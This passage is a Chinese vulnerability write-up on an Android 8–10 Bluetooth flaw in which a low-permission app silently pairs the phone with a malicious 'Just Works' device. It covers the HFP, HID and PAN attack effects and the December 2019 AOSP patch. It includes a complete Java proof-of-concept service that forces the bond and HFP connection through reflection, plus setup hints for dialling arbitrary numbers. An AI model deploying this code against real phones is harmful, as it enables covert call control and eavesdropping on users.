二、漏洞细节
- 蓝牙为了支持不同的用途和功能,定义了多种不同的配置文件,从而可以在Rfcomm和L2CAP层之上实现这些功能。这里攻击主要用到的是HFP、HID和PAN这三种配置文件,他们的定义如下:
配置文件 |
主要功能 |
Handset-Free Profile (HFP) |
通话音频配置文件,实现电话控制相关功能,包括拨打、接听、拒绝、挂断电话等,主要用于通话蓝牙耳机 |
Human Input Device (HID) Profile |
人体输入设备配置文件,实现了键盘和鼠标的功能,主要用于蓝牙键鼠 |
Personal Area Network (PAN) Profile |
个人区域网络配置文件,在蓝牙协议上实现了TCP/IP协议,用于蓝牙网络共享 |
- 在Android框架中,对HFP、HID和PAN都有相关的实现,其源代码位于
/frameworks/base/core/java/android/bluetooth
配置文件 |
Android 实现 |
Handset-Free Profile (HFP) |
BluetoothHeadset, BluetoothHeadsetClient (Hide) |
Human Input Device (HID) Profile |
BluetoothHidDevice (API>=28), BluetoothInputDevice (API<=27, Hide) |
Personal Area Network (PAN) Profile |
BluetoothPan (Hide) |
- 以上接口对拥有
BLUETOOTH
和BLUETOOTH_ADMIN
权限的应用都是可见的,这两个权限在安装后是默认授予给应用的。由于部分接口是非公开API,对于其中为greylis的可以使用反射来调用。
- 同时蓝牙为了方便用户使用,定义了五种I/O能力,分别是:
I/O能力 |
说明 |
KeyboardDisplay |
具有键盘输入PIN码和显示PIN码功能的设备,例如PC |
DisplayOnly |
只具有显示PIN码功能的设备(没有键盘),例如智能手表 |
NoInputNoOutput |
没有任何输入输出方式的设备,例如蓝牙耳机 |
DisplayYesNo |
只能显示是否,不能显示PIN码的设备(没有键盘),例如智能手环 |
KeyboardOnly |
只能键盘输入PIN码的设备(没有显示),例如蓝牙键盘 |
- 对于支持PIN码的设备,可以使用Authenticated MITM Protection参数来防止中间人攻击,但是对于没有PIN码显示功能的设备,就无法做到了。比较遗憾的是,I/O能力是由设备自行定义的,如果你有一个树莓派或者其他可定制的蓝牙设备,你就可以自行修改它!
- 由于以上的I/O能力,就存在以下的配对方式:
配对方式 |
说明 |
Passkey Entry |
PIN输入,必须输入正确的PIN才可以配对 |
Numeric Comparison |
PIN比较,双方显示PIN码,用户判断是否相同并选择配对/拒绝 |
Just Works |
不进行PIN码比较,以默认PIN码000000进行连接 |
- 需要注意的是,选择哪种配对方式是由较弱I/O能力的一方决定的,所以只要有一方是NoInputNoOutput,就一定会选择Just Works。
- 同时在Android系统中,蓝牙设备是否连接的状态指示对于用户来说是相似、模糊的,所以用户并不能很好的区分当前手机是否已经连接到了某个蓝牙设备。
- 基于以上事实,攻击者可以构造一个I/O能力为NoInputNoOutput,配对方式为Just Works的恶意蓝牙设备,并且在受害者手机上预知一个不需要任何敏感权限,仅需要声明
BLUETOOTH_ADMIN
权限的恶意应用在后台偷偷连接到恶意的蓝牙设备上。根据恶意蓝牙设备配置的不同的配置文件,可以实现多种攻击。
三、漏洞影响
- 根据恶意蓝牙设备的配置文件不同,可以实现不同的攻击效果。例如HFP可以实现任意号码拨打和通话控制,PAN可以实现网络流量代理进行中间人攻击,HID可以利用快捷键实现屏幕截图等。
- 使用HFP进行攻击的PoC如下:
public class HfpService extends Service {
private static final String TAG = "HfpService";
private static final String BT_ADDR = "XX:XX:XX:XX:XX:XX";
private BluetoothAdapter mBtAdapter;
private BluetoothHeadset mBtHandset;
@Nullable
@Override
public IBinder onBind(Intent intent) {
throw new UnsupportedOperationException("onBind unsupported");
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
mBtAdapter = BluetoothAdapter.getDefaultAdapter();
if (mBtAdapter == null) {
return super.onStartCommand(intent, flags, startId);
}
mBtAdapter.getProfileProxy(this, new ServiceListener(), BluetoothProfile.HEADSET);
final BluetoothDevice btDevice = getBtDevice(BT_ADDR);
Thread connectThread = new Thread(new Runnable() {
@Override
public void run() {
do {
if (btDevice.getBondState() != BluetoothDevice.BOND_BONDING) {
Log.d(TAG, "connectThread, try to create bond");
btDevice.createBond();
} else {
Log.d(TAG, "connectThread, during bonding, skipped");
}
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
Log.e(TAG, "connectThread, connect interrupted");
}
} while (btDevice.getBondState() != BluetoothDevice.BOND_BONDED);
Log.i(TAG, "connectThread, create bond OK");
do {
if (mBtHandset.getConnectionState(btDevice) != BluetoothProfile.STATE_CONNECTING) {
Log.d(TAG, "connectThread, try to connect");
connect(btDevice);
} else {
Log.d(TAG, "connectThread, during connecting, skipped");
}
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
Log.e(TAG, "connectThread, connect interrupted");
}
} while(mBtHandset.getConnectionState(btDevice) != BluetoothProfile.STATE_CONNECTED);
Log.i(TAG, "connectThread, connect OK");
connectAudio();
do {
try {
Thread.sleep(3000);
} catch (InterruptedException e) {
Log.e(TAG, "connectThread, getConnectedDevices interrupted");
}
} while(mBtHandset.getConnectionState(btDevice) == BluetoothProfile.STATE_CONNECTED);
Thread connectThread = new Thread(this);
connectThread.setDaemon(true);
Log.d(TAG, "connectThread, lost connection, restart thread itself");
connectThread.start();
}
});
connectThread.setDaemon(true);
connectThread.start();
return super.onStartCommand(intent, flags, startId);
}
public BluetoothDevice getBtDevice(String btAddress) {
try {
Constructor<BluetoothDevice> constructor = BluetoothDevice.class.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
return constructor.newInstance(btAddress);
} catch(NoSuchMethodException | IllegalAccessException | InstantiationException | InvocationTargetException e) {
Log.e(TAG, "NoSuchMethodException | IllegalAccessException | InstantiationException | InvocationTargetException");
e.printStackTrace();
}
return null;
}
public boolean connect(BluetoothDevice btDevice) {
if (mBtHandset == null || btDevice == null) {
return false;
}
try {
Method method = Class.forName("android.bluetooth.BluetoothHeadset")
.getDeclaredMethod("connect", BluetoothDevice.class);
return (Boolean) method.invoke(mBtHandset, btDevice);
} catch (ClassNotFoundException | NoSuchMethodException e) {
Log.e(TAG, "connect, ClassNotFoundException | NoSuchMethodException");
e.printStackTrace();
} catch (IllegalAccessException | InvocationTargetException e) {
Log.e(TAG, "connect, IllegalAccessException | InvocationTargetException");
e.printStackTrace();
}
return false;
}
public boolean connectAudio() {
if (mBtHandset == null) {
return false;
}
try {
Method method = Class.forName("android.bluetooth.BluetoothHeadset")
.getDeclaredMethod("connectAudio");
return (Boolean) method.invoke(mBtHandset);
} catch (ClassNotFoundException | NoSuchMethodException e) {
Log.e(TAG, "connectAudio, ClassNotFoundException | NoSuchMethodException");
e.printStackTrace();
} catch (IllegalAccessException | InvocationTargetException e) {
Log.e(TAG, "connectAudio, IllegalAccessException | InvocationTargetException");
e.printStackTrace();
}
return false;
}
class ServiceListener implements BluetoothProfile.ServiceListener {
@Override
public void onServiceConnected(int profile, BluetoothProfile proxy) {
Log.i(TAG, "onServiceConnected, profile="+profile);
if (profile == BluetoothProfile.HEADSET) {
mBtHandset = (BluetoothHeadset) proxy;
}
}
@Override
public void onServiceDisconnected(int profile) {
Log.i(TAG, "onServiceDisconnected, profile="+profile);
}
}
}
- 结合上述恶意代码,再使用树莓派构造恶意蓝牙设备即可,可以使用bluetoothctl蓝牙实用工具,和ofono这个开源的HFP框架来实现任意号码拨打,经过测试该问题影响Android 8.0——Android 10.0之间的系统版本。
四、漏洞补丁
- Google在AOSP的2019-12补丁中修复了该漏洞,修复方法是即使是对于Just Works类型的设备,在首次配对连接时也会请求用户同意,经过交互之后才会进行连接。